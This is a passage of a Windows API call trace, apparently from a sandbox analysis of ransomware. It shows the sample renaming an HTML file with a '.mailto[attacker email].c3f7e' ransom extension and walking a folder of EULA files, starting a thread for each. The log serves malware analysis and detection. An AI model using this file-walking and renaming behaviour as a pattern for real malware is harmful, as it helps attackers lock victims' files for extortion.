	[0086.331] SetFilePointerEx (in: hFile=0x18ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.331] WriteFile (in: hFile=0x18ec, lpBuffer=0x4772520*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x2983fe4c, lpOverlapped=0x0 | out: lpBuffer=0x4772520*, lpNumberOfBytesWritten=0x2983fe4c*=0x111, lpOverlapped=0x0) returned 1
	[0086.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772520) returned 1
	[0086.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e611d0) returned 1
	[0086.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0086.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e60ef8) returned 1
	[0086.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0086.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0086.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0086.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0086.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481a198
	[0086.333] wcscpy (in: _Dest=0x481a198, _Source="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm"
	[0086.333] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.333] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2983fe04, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x49259c8
	[0086.333] NtSetInformationFile (FileHandle=0x18ec, IoStatusBlock=0x2983fdfc, FileInformation=0x49259c8, Length=0xc0, FileInformationClass=0xa) returned 0x0
	[0086.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49259c8) returned 1
	[0086.334] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d620) returned 1
	[0086.334] NtQueryInformationFile (in: FileHandle=0x18ec, IoStatusBlock=0x2983fe10, FileInformation=0x2983fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2983fe10, FileInformation=0x2983fde8) returned 0x0
	[0086.334] NtSetInformationFile (FileHandle=0x18ec, IoStatusBlock=0x2983fe10, FileInformation=0x2983fde8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0086.335] FlushFileBuffers (hFile=0x18ec) returned 1
	[0093.099] CloseHandle (hObject=0x18ec) 

Thread:
	id = 1188
	os_tid = 0x1f04

	[0086.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dabe48
	[0086.324] wcscpy (in: _Dest=0x2dabe48, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.324] wcscat (in: _Dest=0x2dabe48, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.324] wcscat (in: _Dest=0x2dabe48, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*"
	[0086.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f27548
	[0086.324] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\*", lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0086.332] wcscmp (_String1=".", _String2=".") returned 0
	[0086.332] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3c4d9e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea5f6eb5, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.336] wcscmp (_String1="..", _String2=".") returned 1
	[0086.336] wcscmp (_String1="..", _String2="..") returned 0
	[0086.336] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c6124, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c6124, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1af6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ar-sa.htm", cAlternateFileName="EULA_A~1.HTM")) returned 1
	[0086.336] wcscmp (_String1="EULA_ar-sa.htm", _String2=".") returned 1
	[0086.336] wcscmp (_String1="EULA_ar-sa.htm", _String2="..") returned 1
	[0086.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e044c8
	[0086.336] wcscpy (in: _Dest=0x2e044c8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.336] wcscat (in: _Dest=0x2e044c8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.336] wcscat (in: _Dest=0x2e044c8, _Source="EULA_ar-sa.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm"
	[0086.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e044c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1910
	[0086.946] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c74ab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c74ab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3de0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_bg-bg.htm", cAlternateFileName="EULA_B~1.HTM")) returned 1
	[0086.946] wcscmp (_String1="EULA_bg-bg.htm", _String2=".") returned 1
	[0086.946] wcscmp (_String1="EULA_bg-bg.htm", _String2="..") returned 1
	[0086.946] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753548
	[0086.946] wcscpy (in: _Dest=0x4753548, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.946] wcscat (in: _Dest=0x4753548, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.946] wcscat (in: _Dest=0x4753548, _Source="EULA_bg-bg.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm"
	[0086.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x197c
	[0086.947] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3c882e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3c882e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14573, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_cs-cz.htm", cAlternateFileName="EULA_C~1.HTM")) returned 1
	[0086.947] wcscmp (_String1="EULA_cs-cz.htm", _String2=".") returned 1
	[0086.947] wcscmp (_String1="EULA_cs-cz.htm", _String2="..") returned 1
	[0086.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753818
	[0086.947] wcscpy (in: _Dest=0x4753818, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.947] wcscat (in: _Dest=0x4753818, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.947] wcscat (in: _Dest=0x4753818, _Source="EULA_cs-cz.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm"
	[0086.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1980
	[0086.947] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3caf18, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3caf18, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfe95, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_da-dk.htm", cAlternateFileName="EULA_D~1.HTM")) returned 1
	[0086.947] wcscmp (_String1="EULA_da-dk.htm", _String2=".") returned 1
	[0086.947] wcscmp (_String1="EULA_da-dk.htm", _String2="..") returned 1
	[0086.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753638
	[0086.947] wcscpy (in: _Dest=0x4753638, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.948] wcscat (in: _Dest=0x4753638, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.948] wcscat (in: _Dest=0x4753638, _Source="EULA_da-dk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm"
	[0086.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1984
	[0086.948] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d10e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d10e9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1133d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_de-de.htm", cAlternateFileName="EULA_D~2.HTM")) returned 1
	[0086.948] wcscmp (_String1="EULA_de-de.htm", _String2=".") returned 1
	[0086.948] wcscmp (_String1="EULA_de-de.htm", _String2="..") returned 1
	[0086.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x47536b0
	[0086.948] wcscpy (in: _Dest=0x47536b0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.948] wcscat (in: _Dest=0x47536b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.948] wcscat (in: _Dest=0x47536b0, _Source="EULA_de-de.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm"
	[0086.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47536b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988
	[0086.949] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d2466, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d2466, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3a756, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_el-gr.htm", cAlternateFileName="EULA_E~1.HTM")) returned 1
	[0086.949] wcscmp (_String1="EULA_el-gr.htm", _String2=".") returned 1
	[0086.949] wcscmp (_String1="EULA_el-gr.htm", _String2="..") returned 1
	[0086.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x47537a0
	[0086.949] wcscpy (in: _Dest=0x47537a0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.949] wcscat (in: _Dest=0x47537a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.949] wcscat (in: _Dest=0x47537a0, _Source="EULA_el-gr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm"
	[0086.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47537a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198c
	[0086.950] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d5f05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d5f05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_en-gb.htm", cAlternateFileName="EULA_E~2.HTM")) returned 1
	[0086.950] wcscmp (_String1="EULA_en-gb.htm", _String2=".") returned 1
	[0086.950] wcscmp (_String1="EULA_en-gb.htm", _String2="..") returned 1
	[0086.950] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753c50
	[0086.950] wcscpy (in: _Dest=0x4753c50, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.950] wcscat (in: _Dest=0x4753c50, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.950] wcscat (in: _Dest=0x4753c50, _Source="EULA_en-gb.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm"
	[0086.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753c50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1990
	[0086.951] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d997f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d997f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_en-us.htm", cAlternateFileName="EULA_E~3.HTM")) returned 1
	[0086.951] wcscmp (_String1="EULA_en-us.htm", _String2=".") returned 1
	[0086.951] wcscmp (_String1="EULA_en-us.htm", _String2="..") returned 1
	[0086.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753890
	[0086.951] wcscpy (in: _Dest=0x4753890, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.951] wcscat (in: _Dest=0x4753890, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.951] wcscat (in: _Dest=0x4753890, _Source="EULA_en-us.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm"
	[0086.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1994
	[0086.951] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dad37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dad37, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_es-es.htm", cAlternateFileName="EULA_E~4.HTM")) returned 1
	[0086.951] wcscmp (_String1="EULA_es-es.htm", _String2=".") returned 1
	[0086.951] wcscmp (_String1="EULA_es-es.htm", _String2="..") returned 1
	[0086.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753ae8
	[0086.952] wcscpy (in: _Dest=0x4753ae8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.952] wcscat (in: _Dest=0x4753ae8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.952] wcscat (in: _Dest=0x4753ae8, _Source="EULA_es-es.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm"
	[0086.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1998
	[0086.952] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dc0bd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dc0bd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_es-mx.htm", cAlternateFileName="EU6344~1.HTM")) returned 1
	[0086.952] wcscmp (_String1="EULA_es-mx.htm", _String2=".") returned 1
	[0086.952] wcscmp (_String1="EULA_es-mx.htm", _String2="..") returned 1
	[0086.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753b60
	[0086.952] wcscpy (in: _Dest=0x4753b60, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.952] wcscat (in: _Dest=0x4753b60, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.952] wcscat (in: _Dest=0x4753b60, _Source="EULA_es-mx.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm"
	[0086.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c
	[0086.953] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dd45a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dd45a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_et-ee.htm", cAlternateFileName="EU56AC~1.HTM")) returned 1
	[0086.953] wcscmp (_String1="EULA_et-ee.htm", _String2=".") returned 1
	[0086.953] wcscmp (_String1="EULA_et-ee.htm", _String2="..") returned 1
	[0086.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753bd8
	[0086.953] wcscpy (in: _Dest=0x4753bd8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.953] wcscat (in: _Dest=0x4753bd8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.953] wcscat (in: _Dest=0x4753bd8, _Source="EULA_et-ee.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm"
	[0086.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a0
	[0086.954] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dfb2b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dfb2b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fi-fi.htm", cAlternateFileName="EULA_F~1.HTM")) returned 1
	[0086.954] wcscmp (_String1="EULA_fi-fi.htm", _String2=".") returned 1
	[0086.954] wcscmp (_String1="EULA_fi-fi.htm", _String2="..") returned 1
	[0086.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753db8
	[0086.954] wcscpy (in: _Dest=0x4753db8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.954] wcscat (in: _Dest=0x4753db8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.954] wcscat (in: _Dest=0x4753db8, _Source="EULA_fi-fi.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm"
	[0086.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a4
	[0086.954] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e0ee6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e0ee6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fr-ca.htm", cAlternateFileName="EULA_F~2.HTM")) returned 1
	[0086.954] wcscmp (_String1="EULA_fr-ca.htm", _String2=".") returned 1
	[0086.954] wcscmp (_String1="EULA_fr-ca.htm", _String2="..") returned 1
	[0086.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753cc8
